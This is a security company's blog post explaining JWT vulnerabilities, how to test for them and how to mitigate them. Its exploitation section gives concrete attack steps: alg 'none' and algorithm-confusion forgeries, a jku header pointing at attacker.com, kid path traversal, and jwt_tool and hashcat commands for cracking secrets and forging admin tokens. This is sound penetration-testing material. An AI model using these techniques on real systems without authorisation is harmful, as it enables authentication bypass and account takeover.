Home / Blog / JWT Security Vulnerabilities Testing Guide

JWT Security Vulnerabilities: Complete Testing Guide 2025

calendar_today February 8, 2026 schedule 12 min read person Red Badger Security Team

JSON Web Tokens (JWT) are everywhere in modern web applications, but their widespread adoption has also made them a prime target for attackers. In this comprehensive guide, we'll explore common JWT vulnerabilities, how to test for them, and best practices for secure implementation.

Table of Contents

  • What is JWT?
  • Understanding JWT Structure
  • Common JWT Vulnerabilities
  • Testing Workflow
  • Exploitation Techniques
  • Testing Tools
  • Mitigation Strategies

What is JWT?

JSON Web Token (JWT) is an open standard (RFC 7519) that defines a compact and self-contained way for securely transmitting information between parties as a JSON object. JWTs are commonly used for authentication and information exchange in modern web applications, especially in stateless RESTful APIs and microservices architectures.

JWTs are popular because they eliminate the need for server-side session storage. Instead of storing session data on the server, all necessary information is encoded directly into the token, which the client sends with each request. The server can then verify and decode the token to authenticate the user and extract their permissions.

Why JWT Security Matters

Because JWTs often contain sensitive information like user IDs, roles, and permissions, and because they're used to make critical authorization decisions, vulnerabilities in JWT implementations can lead to:

  • Account Takeover: Attackers can forge tokens to impersonate any user
  • Privilege Escalation: Regular users can elevate themselves to admin roles
  • Authentication Bypass: Complete circumvention of authentication mechanisms
  • Data Exposure: Sensitive information leaking through poorly configured tokens

Understanding JWT Structure

A JWT consists of three Base64-URL encoded parts separated by dots (.):

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

1. Header (Green)

Contains metadata about the token, including the algorithm used to sign it:

{
  "alg": "HS256",
  "typ": "JWT"
}

2. Payload (Orange)

Contains the claims (statements about the user and additional data):

{
  "sub": "1234567890",
  "name": "John Doe",
  "role": "user",
  "iat": 1516239022
}

3. Signature (Red)

Used to verify the token hasn't been tampered with. Created by signing the header and payload with a secret key:

HMACSHA256(
  base64UrlEncode(header) + "." +
  base64UrlEncode(payload),
  secret
)

Common JWT Vulnerabilities

1. Algorithm Confusion (alg: none)

The JWT specification includes an optional "none" algorithm, meaning no signature verification is required. Attackers can modify the algorithm to "none" and remove the signature entirely:

// Vulnerable token
{
  "alg": "none",
  "typ": "JWT"
}.
{
  "sub": "admin",
  "role": "administrator"
}.
// No signature!

Impact: Complete authentication bypass. An attacker can create arbitrary tokens with any user ID or role without needing to know the signing secret.

2. Algorithm Confusion (HS256 vs RS256)

Some libraries that verify RS256 (asymmetric) tokens can be tricked into treating them as HS256 (symmetric) tokens. The attacker changes the algorithm to HS256 and signs the token with the public key (which is publicly available):

// Original: alg: RS256 (asymmetric)
// Modified: alg: HS256 (symmetric)
// Signed with: PUBLIC KEY instead of PRIVATE KEY

Impact: Token forgery. The server uses the public key (intended for verification) as the HMAC secret, allowing attackers to create valid tokens.

3. Weak Signing Secret

If the JWT is signed with a weak or common secret (like "secret", "password", or "123456"), attackers can brute-force it and then forge tokens:

// Common weak secrets:
"secret"
"password"
"123456"
"your-256-bit-secret"
"jwt-secret-key"

4. Sensitive Data Exposure

JWTs are Base64 encoded, NOT encrypted. Anyone can decode and read the payload. Storing sensitive information in JWTs without encryption is a critical mistake:

// BAD: Sensitive data in plain JWT
{
  "userId": "12345",
  "email": "[email protected]",
  "ssn": "123-45-6789",
  "creditCard": "4111111111111111"
}

5. Missing Expiration (exp) Check

Tokens without expiration times (or servers that don't validate them) never expire, allowing stolen tokens to be used indefinitely:

// Token without expiration
{
  "sub": "12345",
  "role": "admin"
  // No "exp" claim!
}

6. Null Signature (CVE-2020-28042)

Some JWT libraries have vulnerabilities where they accept tokens with a null or empty signature when they shouldn't:

eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJhZG1pbiJ9.

7. JKU/X5U Header Injection

The jku (JWK Set URL) and x5u (X.509 URL) headers allow specifying a URL to fetch the public key. Attackers can point this to their own server:

{
  "alg": "RS256",
  "jku": "https://attacker.com/jwks.json"
}

JWT Testing Workflow

Step 1: Capture the JWT

Use Burp Suite, OWASP ZAP, or browser DevTools to intercept requests and identify JWT tokens. Look for:

  • Authorization headers: Authorization: Bearer eyJhbG...
  • Cookies: token=eyJhbG...
  • URL parameters: ?token=eyJhbG...
  • POST body parameters

Step 2: Decode and Analyze

Decode the JWT using jwt.io or command-line tools:

# Using jwt_tool
python3 jwt_tool.py <JWT_TOKEN>

# Manual decoding with base64
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9" | base64 -d

Look for:

  • Algorithm type (alg: HS256, RS256, etc.)
  • Claims (user ID, role, permissions)
  • Expiration time (exp)
  • Issuer (iss) and audience (aud)
  • Sensitive data in the payload

Step 3: Test for Common Vulnerabilities

Systematically test each vulnerability type using the techniques described in the next section.

Exploitation Techniques

Technique 1: None Algorithm Attack

Modify the algorithm to "none" and remove the signature:

# Original header
{"alg":"HS256","typ":"JWT"}

# Modified header
{"alg":"none","typ":"JWT"}
{"alg":"None","typ":"JWT"}
{"alg":"NONE","typ":"JWT"}
{"alg":"nOnE","typ":"JWT"}

# Remove signature (keep the trailing dot)
eyJhbGci...eyJzdWI...

Technique 2: Algorithm Confusion (RS256 to HS256)

Change RS256 to HS256 and sign with the public key:

# 1. Get the public key (often available at /jwks.json or /.well-known/jwks.json)
# 2. Convert public key to PEM format
# 3. Change algorithm to HS256
{"alg":"HS256","typ":"JWT"}
# 4. Sign with public key as HMAC secret
HMACSHA256(header + "." + payload, public_key)

Technique 3: Secret Brute Force

Use tools to crack weak secrets:

# Using jwt_tool
python3 jwt_tool.py <JWT> -C -d /path/to/wordlist.txt

# Using hashcat
hashcat -a 0 -m 16500 jwt.txt wordlist.txt

# Using john the ripper
john jwt.txt --wordlist=wordlist.txt --format=HMAC-SHA256

Technique 4: Token Manipulation

After cracking or discovering the secret, forge tokens with elevated privileges:

# Original payload
{
  "sub": "user123",
  "role": "user"
}


# Modified payload
{
  "sub": "admin",
  "role": "administrator"
}


# Sign with discovered secret
python3 jwt_tool.py -T -S hs256 -p "discovered_secret"

Technique 5: JKU Header Injection

Host your own JWK Set and point the token to it:

# Modified header
{
  "alg": "RS256",
  "jku": "https://attacker.com/jwks.json",
  "kid": "attacker_key"
}


# Host jwks.json with your public key
# Sign with your private key

Technique 6: Kid (Key ID) Injection

The kid parameter is sometimes used in file path operations, making it vulnerable to path traversal:

{
  "alg": "HS256",
  "kid": "../../../../../../dev/null"
}


// Sign with empty string as secret (contents of /dev/null)

Essential JWT Testing Tools

1. jwt_tool

Comprehensive Python tool for JWT analysis and exploitation:

# Installation
git clone https://github.com/ticarpi/jwt_tool
cd jwt_tool
pip3 install -r requirements.txt


# Automated scanning
python3 jwt_tool.py <JWT> -M at

# All attack modes
python3 jwt_tool.py <JWT> -M pb

2. Burp Suite Extensions

  • JSON Web Tokens - Decode, manipulate, and resign JWTs
  • JWT4B (JWT for Burp) - Advanced JWT testing capabilities
  • Autorize - Test authorization with different JWT tokens

3. jwt.io Debugger

Browser-based tool for quick JWT decoding and verification. Great for understanding token structure but don't paste production tokens (they're sent to the server).

4. CyberChef

Swiss army knife for encoding/decoding. Recipe: "From Base64" → "JSON Beautify"

5. Hashcat

Fastest tool for brute-forcing JWT secrets (mode 16500 for HS256/384/512):

hashcat -a 0 -m 16500 jwt.txt rockyou.txt

Mitigation Strategies

1. Enforce Strong Algorithms

// Node.js (jsonwebtoken library)
jwt.verify(token, secret, {
  algorithms: ['HS256'] // Whitelist allowed algorithms
});


// Python (PyJWT library)
jwt.decode(
  token,
  secret,
  algorithms=["HS256"] # Never allow "none"
)

2. Use Strong Secrets

  • Minimum 256 bits (32 characters) of randomness
  • Use cryptographically secure random generators
  • Store secrets in environment variables or key management systems
  • Rotate secrets regularly
# Generate strong secret (Node.js)
const secret = require('crypto')
  .randomBytes(64)
  .toString('hex');


# Generate strong secret (Python)
import secrets
secret = secrets.token_hex(64)

3. Validate All Claims

jwt.verify(token, secret, {
  algorithms: ['HS256'],
  issuer: 'your-domain.com',
  audience: 'your-app',
  clockTolerance: 30 // Account for clock skew
});

4. Set Short Expiration Times

const token = jwt.sign(
  { userId: user.id },
  secret,
  {
    expiresIn: '15m', // Access token: 15 minutes
    algorithm: 'HS256'
  }
);


// Use refresh tokens with longer expiration for better UX

5. Never Store Sensitive Data

JWTs are encoded, not encrypted. Never include:

  • Passwords or password hashes
  • Social security numbers
  • Credit card information
  • Personal identifiable information (PII)
  • API keys or secrets

6. Implement Token Revocation

While JWTs are stateless, critical applications should maintain a revocation list:

// Store revoked token JTI (JWT ID) in Redis
async function isTokenRevoked(jti) {
  return await redis.exists(`revoked:${jti}`);
}

async function revokeToken(jti, expiresIn) {
  await redis.setex(
    `revoked:${jti}`,
    expiresIn,
    '1'
  );
}

7. Use HTTPS Only

Always transmit JWTs over HTTPS to prevent interception. Set secure cookie flags:

res.cookie('token', jwt, {
  httpOnly: true, // Prevent XSS access
  secure: true, // HTTPS only
  sameSite: 'strict' // CSRF protection
});

8. Validate Key Sources

If using JKU or X5U headers, whitelist trusted domains:

const ALLOWED_JKU_DOMAINS = [
  'https://your-domain.com',
  'https://trusted-partner.com'
];

if (header.jku && !ALLOWED_JKU_DOMAINS.includes(header.jku)) {
  throw new Error('Untrusted JKU domain');
}

Conclusion

JWT vulnerabilities remain prevalent in modern web applications due to misconfiguration, weak secrets, and improper implementation. By understanding the common attack vectors and testing methodically with the right tools, security professionals can identify these vulnerabilities before attackers do.

Key takeaways for secure JWT implementation:

  • Always whitelist allowed algorithms and never accept "none"
  • Use cryptographically strong secrets (minimum 256 bits)
  • Set short expiration times and validate all claims
  • Never store sensitive data in JWT payloads
  • Implement token revocation for critical applications
  • Transmit tokens over HTTPS with secure cookie flags

Need help securing your JWT implementation? Red Badger Security offers comprehensive Web Application Security Testing and API Security Assessments to identify and remediate JWT vulnerabilities and other authentication flaws in your applications.

Secure Your JWT Implementation

Our expert security engineers can assess your authentication mechanisms, identify JWT vulnerabilities, and provide remediation guidance. Get a comprehensive security assessment today.

contact_mail Get Started
arrow_back Back to Blog